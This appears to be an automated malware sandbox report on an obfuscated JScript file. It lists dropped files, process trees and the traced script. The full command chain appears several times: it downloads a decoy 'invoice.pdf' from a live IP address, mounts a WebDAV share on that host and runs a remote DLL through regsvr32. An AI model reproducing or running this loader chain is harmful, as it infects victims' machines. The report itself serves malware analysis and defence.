Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ISO-8859 text, with very long lines (3486), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	14456
Entropy (8bit):	4.2098179599164975
Encrypted:	false
SSDEEP:	192:gcPqYV/saFlwwR+kMqe8TlZMX1sgUVa3ddMVsuNeMcGdSD9obOUAVlcMudM/Y14e:g7Q/X4kMb0lZ6mgtdHOelGdWaolvsTZ
MD5:	32FCA302C8B872738373D7CCB1E75FD4
SHA1:	DA85FAF24ED0ECFD5D69CCFD6286D8B77D7EB4F1
SHA-256:	CD0DD26304B88C20801FE80B33C49C009E2E5D4411B5D7F83252E1D90CD461C6
SHA-512:	57F8CC85FAFB15455074431216E47433E50DF5DE74ED74C395B7FF2C433DB7CE06F0A1C1FE1EFDC17229DBC33325D559789F43901556DD1A12963B94F01D5A1F
Malicious:	false
Preview:	%PPKLITE-2.1.%......1 0 obj.<</PPK<</AddressBook<</Entries[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R]/NextID 1006/Type/AddressBook>>/Type/PPK/User<</Type/User>>/V 65537>>/Type/Catalog>>.endobj.2 0 obj.<</ABEType 1/Cert<308204A130820389A00302010202043E1CBD28300D06092A864886F70D01010505003069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F74204341301E170D3033303130383233333732335A170D3233303130393030303732335A3069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F7420434130820122300D06092A864886F70D01010105000382010F003082010A0282010100CC4F5484F7A7A2E733537F3F9C12886B2C9947677E0F1EB9AD1488F9C310D81DF0F0D59F690A2F5935B0CC6CA94C9C15A09FCE20BFA0CF54E2E02066453F3986387E9CC48E0722C624F60112B035DF55EA6990B

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16604), with CRLF line terminators
Entropy (8bit):	4.907537387350008
TrID:
File name:	853872402647317272.js
File size:	19'984 bytes
MD5:	3fca831747cdcc5654901b509bb1f87b
SHA1:	8fe5bfb8060b7e3cda5350fab225571d6ce70cb5
SHA256:	f0df8b36d3946ce85ea78c4dc5165ae846cc88244bdd337389ebb26eb91ab76f
SHA512:	0ecdfe1b517ea74b82f80de6cce286bb7c894ca46c439783877b403e4d8200e47e4f3b27fa90cd5f286a45ab0ca514fa9b56abd0190cbb19cfdd5bff7c60bb26
SSDEEP:	384:IW/Wuau+ML/hhXK4t8vEhvCYWmCMlON4g7KqFDtEDsVKF+AIaJdcEtu2QXJtbbWC:Ic9+ocTEtf0
TLSH:	50924541B5818B6E88DA43F852AA41F465F0834CC5ED8EC92C73789DF7644FE66ED8B0
File Content Preview:	function znctjpi(){hcpymdu=[1031,3079,5127,4103,2055,3072];var madkyd=this[yxqdksvv+dqojgjy+whqshxi+wuapv+rnfkc+fhcgfvvb+xtkhwz+bqnnmovml](this[ktdyty+gwodcxa+fznkajsi+whqshxi+sxrbh+yxqdksvv+bqnnmovml][byydkrbe+whqshxi+rnfkc+dqojgjy+bqnnmovml+rnfkc+urwmo+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	21:28:33
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js"
Imagebase:	0x7ff648e80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:28:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll
Imagebase:	0x7ff653470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:28:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:28:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:28:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:28:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff653470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:28:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64bc00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:28:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:28:38
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:28:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1748,i,1113708824685853160,11246034757900747149,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function znctjpi() {	znctjpi() ➔ undefined
1	hcpymdu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var madkyd = this[yxqdksvv + dqojgjy + whqshxi + wuapv + rnfkc + fhcgfvvb + xtkhwz + bqnnmovml] ( this[ktdyty + gwodcxa + fznkajsi + whqshxi + sxrbh + yxqdksvv + bqnnmovml][byydkrbe + whqshxi + rnfkc + dqojgjy + bqnnmovml + rnfkc + urwmo + odvwqhkr + qvbpkynwx + rnfkc + fznkajsi + bqnnmovml] ( ktdyty + gwodcxa + fznkajsi + whqshxi + sxrbh + yxqdksvv + bqnnmovml + sojgs + gwodcxa + owrqqr + rnfkc + tyvfg + tyvfg ) [akeiyxh + rnfkc + xxoej + akeiyxh + rnfkc + dqojgjy + kfurqjtx] ( ljpdtyvdv + hdwkh + qivltn + mcyst + wcupmbmvz + byydkrbe + bwmscb + akeiyxh + akeiyxh + qivltn + rpdtxhz + zfagkci + wcupmbmvz + bwmscb + gwodcxa + qivltn + akeiyxh + mplalcxvl + byydkrbe + lqbbgkxkb + xtkhwz + bqnnmovml + whqshxi + lqbbgkxkb + tyvfg + wyjbx + yhzdtfx + dqojgjy + xtkhwz + rnfkc + tyvfg + mplalcxvl + fhcgfvvb + xtkhwz + bqnnmovml + rnfkc + whqshxi + xtkhwz + dqojgjy + bqnnmovml + sxrbh + lqbbgkxkb + xtkhwz + dqojgjy + tyvfg + mplalcxvl + voxwo + lqbbgkxkb + fznkajsi + dqojgjy + tyvfg + rnfkc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bsjnhh = 0 ; bsjnhh < hcpymdu[tyvfg + rnfkc + xtkhwz + xxoej + bqnnmovml + owrqqr] ; ++ bsjnhh )
4	{
5	if ( madkyd == hcpymdu[bsjnhh] )
6	{
7	madkyd = true;
8	break ;
9	}
10	}
11	if ( madkyd !== true )
12	this[ktdyty + gwodcxa + fznkajsi + whqshxi + sxrbh + yxqdksvv + bqnnmovml][bekkcxff + jtbmzgmk + sxrbh + bqnnmovml] ( );
13	this[ktdyty + gwodcxa + fznkajsi + whqshxi + sxrbh + yxqdksvv + bqnnmovml][byydkrbe + whqshxi + rnfkc + dqojgjy + bqnnmovml + rnfkc + urwmo + odvwqhkr + qvbpkynwx + rnfkc + fznkajsi + bqnnmovml] ( ktdyty + gwodcxa + fznkajsi + whqshxi + sxrbh + yxqdksvv + bqnnmovml + sojgs + gwodcxa + owrqqr + rnfkc + tyvfg + tyvfg ) [whqshxi + jtbmzgmk + xtkhwz] ( fznkajsi + czcove + kfurqjtx + wyjbx + sbzmj + fznkajsi + wyjbx + yxqdksvv + lqbbgkxkb + yfrppuh + rnfkc + whqshxi + wuapv + owrqqr + rnfkc + tyvfg + tyvfg + sojgs + rnfkc + kfswztcly + rnfkc + wyjbx + ftbjybu + byydkrbe + lqbbgkxkb + czcove + czcove + dqojgjy + xtkhwz + kfurqjtx + wyjbx + fqacyi + fhcgfvvb + xtkhwz + ktpecu + lqbbgkxkb + eguawz + rnfkc + ftbjybu + ktdyty + rnfkc + odvwqhkr + akeiyxh + rnfkc + hxbia + jtbmzgmk + rnfkc + wuapv + bqnnmovml + wyjbx + ftbjybu + urwmo + jtbmzgmk + bqnnmovml + xjxoedtks + sxrbh + tyvfg + rnfkc + wyjbx + qipoxe + bqnnmovml + rnfkc + czcove + yxqdksvv + qipoxe + mplalcxvl + sxrbh + xtkhwz + ktpecu + lqbbgkxkb + sxrbh + fznkajsi + rnfkc + sojgs + yxqdksvv + kfurqjtx + xcasv + wyjbx + owrqqr + bqnnmovml + bqnnmovml + yxqdksvv + ucrejae + sbzmj + sbzmj + plheoy + mdanbeu + gwnoeld + sojgs + plheoy + hllvoywy + gwnoeld + sojgs + plheoy + sojgs + aymmcbtjx + dwfuof + musxxm + sbzmj + sxrbh + xtkhwz + ktpecu + lqbbgkxkb + sxrbh + fznkajsi + rnfkc + sojgs + yxqdksvv + owrqqr + yxqdksvv + fqacyi + acxksbwqk + acxksbwqk + wuapv + bqnnmovml + dqojgjy + whqshxi + bqnnmovml + wyjbx + qipoxe + bqnnmovml + rnfkc + czcove + yxqdksvv + qipoxe + mplalcxvl + sxrbh + xtkhwz + ktpecu + lqbbgkxkb + sxrbh + fznkajsi + rnfkc + sojgs + yxqdksvv + kfurqjtx + xcasv + acxksbwqk + acxksbwqk + fznkajsi + czcove + kfurqjtx + wyjbx + sbzmj + fznkajsi + wyjbx + xtkhwz + rnfkc + bqnnmovml + wyjbx + jtbmzgmk + wuapv + rnfkc + wyjbx + mplalcxvl + mplalcxvl + plheoy + mdanbeu + gwnoeld + sojgs + plheoy + hllvoywy + gwnoeld + sojgs + plheoy + sojgs + aymmcbtjx + dwfuof + musxxm + gvbechdj + szqliwa + szqliwa + szqliwa + szqliwa + mplalcxvl + kfurqjtx + dqojgjy + ktpecu + yfrppuh + yfrppuh + yfrppuh + whqshxi + lqbbgkxkb + lqbbgkxkb + bqnnmovml + mplalcxvl + acxksbwqk + acxksbwqk + fznkajsi + czcove + kfurqjtx + wyjbx + sbzmj + fznkajsi + wyjbx + whqshxi + rnfkc + xxoej + wuapv + ktpecu + whqshxi + gwnoeld + aymmcbtjx + wyjbx + sbzmj + wuapv + wyjbx + mplalcxvl + mplalcxvl + plheoy + mdanbeu + gwnoeld + sojgs + plheoy + hllvoywy + gwnoeld + sojgs + plheoy + sojgs + aymmcbtjx + dwfuof + musxxm + gvbechdj + szqliwa + szqliwa + szqliwa + szqliwa + mplalcxvl + kfurqjtx + dqojgjy + ktpecu + yfrppuh + yfrppuh + yfrppuh + whqshxi + lqbbgkxkb + lqbbgkxkb + bqnnmovml + mplalcxvl + plheoy + plheoy + dwfuof + aymmcbtjx + mdanbeu + musxxm + dwfuof + nutgkyeel + szqliwa + plheoy + musxxm + musxxm + plheoy + szqliwa + sojgs + kfurqjtx + tyvfg + tyvfg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll",0,false) ➔ 0
14	}
15	wuapv = "z";
16	wuapv = "t";
17	wuapv = "Z";
18	wuapv = "T";
19	wuapv = "b";
20	wuapv = "l";
21	wuapv = "E";
22	wuapv = "S";
23	wuapv = "L";
24	wuapv = "E";
25	wuapv = "K";
26	wuapv = "s";
27	eguawz = "l";
28	eguawz = "G";
29	eguawz = "X";
30	eguawz = "k";
31	kfurqjtx = "r";
32	kfurqjtx = "o";
33	kfurqjtx = "s";
34	kfurqjtx = "S";
35	kfurqjtx = "G";
36	kfurqjtx = "P";
37	kfurqjtx = "u";
38	kfurqjtx = "O";
39	kfurqjtx = "z";
40	kfurqjtx = "o";
41	kfurqjtx = "C";
42	kfurqjtx = "d";
43	aymmcbtjx = "f";
44	aymmcbtjx = "f";
45	aymmcbtjx = "W";
46	aymmcbtjx = "O";
47	aymmcbtjx = "O";
48	aymmcbtjx = "D";
49	aymmcbtjx = "m";
50	aymmcbtjx = "D";
51	aymmcbtjx = "Z";
52	aymmcbtjx = "H";
53	aymmcbtjx = "u";
54	aymmcbtjx = "H";
55	aymmcbtjx = "W";
56	aymmcbtjx = "C";
57	aymmcbtjx = "I";
58	aymmcbtjx = "p";
59	aymmcbtjx = "Q";
60	aymmcbtjx = "Z";
61	aymmcbtjx = "n";
62	aymmcbtjx = "Q";
63	aymmcbtjx = "R";
64	aymmcbtjx = "z";
65	aymmcbtjx = "Z";
66	aymmcbtjx = "i";
67	aymmcbtjx = "O";
68	aymmcbtjx = "T";
69	aymmcbtjx = "Q";
70	aymmcbtjx = "P";
71	aymmcbtjx = "l";
72	aymmcbtjx = "x";
73	aymmcbtjx = "N";
74	aymmcbtjx = "T";
75	aymmcbtjx = "2";
76	sojgs = "I";
77	sojgs = "d";
78	sojgs = "H";
79	sojgs = "o";
80	sojgs = "S";
81	sojgs = "g";
82	sojgs = "N";
83	sojgs = "P";
84	sojgs = "R";
85	sojgs = "t";
86	sojgs = "B";
87	sojgs = "S";
88	sojgs = "o";
89	sojgs = "H";
90	sojgs = "O";
91	sojgs = "n";
92	sojgs = "k";
93	sojgs = ".";
94	ktpecu = "X";
95	ktpecu = "v";
96	urwmo = "F";
97	urwmo = "j";
98	urwmo = "u";
99	urwmo = "K";
100	urwmo = "C";
101	urwmo = "l";
102	urwmo = "H";
103	urwmo = "t";
104	urwmo = "u";
105	urwmo = "b";
106	urwmo = "G";
107	urwmo = "D";
108	urwmo = "O";
109	ftbjybu = "P";
110	ftbjybu = "Q";
111	ftbjybu = "n";
112	ftbjybu = "Y";
113	ftbjybu = "l";
114	ftbjybu = "n";
115	ftbjybu = "K";
116	ftbjybu = "E";
117	ftbjybu = "w";
118	ftbjybu = "g";
119	ftbjybu = "K";
120	ftbjybu = "A";
121	ftbjybu = "h";
122	ftbjybu = "O";
123	ftbjybu = "p";
124	ftbjybu = "e";
125	ftbjybu = "M";
126	ftbjybu = "R";
127	ftbjybu = "s";
128	ftbjybu = "S";
129	ftbjybu = "H";
130	ftbjybu = "z";
131	ftbjybu = "P";
132	ftbjybu = "Y";
133	ftbjybu = "z";
134	ftbjybu = "a";
135	ftbjybu = "x";
136	ftbjybu = "s";
137	ftbjybu = "-";
138	tyvfg = "t";
139	tyvfg = "y";
140	tyvfg = "Q";
141	tyvfg = "i";
142	tyvfg = "h";
143	tyvfg = "O";
144	tyvfg = "o";
145	tyvfg = "g";
146	tyvfg = "l";
147	qipoxe = "B";
148	qipoxe = "C";
149	qipoxe = "D";
150	qipoxe = "S";
151	qipoxe = "p";
152	qipoxe = "R";
153	qipoxe = "j";
154	qipoxe = "A";
155	qipoxe = "D";
156	qipoxe = "x";
157	qipoxe = "A";
158	qipoxe = "e";
159	qipoxe = "B";
160	qipoxe = "i";
161	qipoxe = "A";
162	qipoxe = "r";
163	qipoxe = "X";
164	qipoxe = "g";
165	qipoxe = "G";
166	qipoxe = "N";
167	qipoxe = "l";
168	qipoxe = "I";
169	qipoxe = "W";
170	qipoxe = "L";
171	qipoxe = "K";
172	qipoxe = "X";
173	qipoxe = "%";
174	dwfuof = "a";
175	dwfuof = "h";
176	dwfuof = "j";
177	dwfuof = "L";
178	dwfuof = "0";
179	mplalcxvl = "a";
180	mplalcxvl = "f";
181	mplalcxvl = "Z";
182	mplalcxvl = "w";
183	mplalcxvl = "G";
184	mplalcxvl = "q";
185	mplalcxvl = "X";
186	mplalcxvl = "f";
187	mplalcxvl = "P";
188	mplalcxvl = "\\";
189	whqshxi = "e";
190	whqshxi = "i";
191	whqshxi = "k";
192	whqshxi = "k";
193	whqshxi = "M";
194	whqshxi = "r";
195	gvbechdj = "R";
196	gvbechdj = "S";
197	gvbechdj = "M";
198	gvbechdj = "P";
199	gvbechdj = "U";
200	gvbechdj = "Y";
201	gvbechdj = "k";
202	gvbechdj = "p";
203	gvbechdj = "m";
204	gvbechdj = "f";
205	gvbechdj = "P";
206	gvbechdj = "M";
207	gvbechdj = "i";
208	gvbechdj = "i";
209	gvbechdj = "i";
210	gvbechdj = "L";
211	gvbechdj = "u";
212	gvbechdj = "h";
213	gvbechdj = "b";
214	gvbechdj = "S";
215	gvbechdj = "J";
216	gvbechdj = "o";
217	gvbechdj = "e";
218	gvbechdj = "K";
219	gvbechdj = "S";
220	gvbechdj = "w";
221	gvbechdj = "@";
222	fhcgfvvb = "b";
223	fhcgfvvb = "s";
224	fhcgfvvb = "Q";
225	fhcgfvvb = "H";
226	fhcgfvvb = "H";
227	fhcgfvvb = "u";
228	fhcgfvvb = "j";
229	fhcgfvvb = "S";
230	fhcgfvvb = "w";
231	fhcgfvvb = "z";
232	fhcgfvvb = "W";
233	fhcgfvvb = "V";
234	fhcgfvvb = "F";
235	fhcgfvvb = "q";
236	fhcgfvvb = "I";
237	fhcgfvvb = "r";
238	fhcgfvvb = "U";
239	fhcgfvvb = "Z";
240	fhcgfvvb = "k";
241	fhcgfvvb = "O";
242	fhcgfvvb = "M";
243	fhcgfvvb = "X";
244	fhcgfvvb = "b";
245	fhcgfvvb = "P";
246	fhcgfvvb = "P";
247	fhcgfvvb = "K";
248	fhcgfvvb = "n";
249	fhcgfvvb = "b";
250	fhcgfvvb = "j";
251	fhcgfvvb = "k";
252	fhcgfvvb = "O";
253	fhcgfvvb = "q";
254	fhcgfvvb = "i";
255	fhcgfvvb = "J";
256	fhcgfvvb = "A";
257	fhcgfvvb = "X";
258	fhcgfvvb = "Z";
259	fhcgfvvb = "g";
260	fhcgfvvb = "I";
261	xxoej = "z";
262	xxoej = "K";
263	xxoej = "q";
264	xxoej = "n";
265	xxoej = "D";
266	xxoej = "F";
267	xxoej = "Y";
268	xxoej = "A";
269	xxoej = "P";
270	xxoej = "z";
271	xxoej = "l";
272	xxoej = "K";
273	xxoej = "P";
274	xxoej = "O";
275	xxoej = "V";
276	xxoej = "M";
277	xxoej = "I";
278	xxoej = "z";
279	xxoej = "u";
280	xxoej = "o";
281	xxoej = "r";
282	xxoej = "p";
283	xxoej = "T";
284	xxoej = "X";
285	xxoej = "D";
286	xxoej = "v";
287	xxoej = "g";
288	bwmscb = "A";
289	bwmscb = "y";
290	bwmscb = "u";
291	bwmscb = "R";
292	bwmscb = "w";
293	bwmscb = "E";
294	bwmscb = "T";
295	bwmscb = "y";
296	bwmscb = "e";
297	bwmscb = "c";
298	bwmscb = "g";
299	bwmscb = "Z";
300	bwmscb = "c";
301	bwmscb = "A";
302	bwmscb = "G";
303	bwmscb = "V";
304	bwmscb = "w";
305	bwmscb = "F";
306	bwmscb = "t";
307	bwmscb = "D";
308	bwmscb = "l";
309	bwmscb = "U";
310	bwmscb = "Z";
311	bwmscb = "h";
312	bwmscb = "u";
313	bwmscb = "z";
314	bwmscb = "s";
315	bwmscb = "j";
316	bwmscb = "s";
317	bwmscb = "M";
318	bwmscb = "f";
319	bwmscb = "I";
320	bwmscb = "X";
321	bwmscb = "x";
322	bwmscb = "E";
323	bwmscb = "Y";
324	bwmscb = "p";
325	bwmscb = "X";
326	bwmscb = "W";
327	bwmscb = "a";
328	bwmscb = "O";
329	bwmscb = "Y";
330	bwmscb = "U";
331	yhzdtfx = "a";
332	yhzdtfx = "T";
333	yhzdtfx = "v";
334	yhzdtfx = "Y";
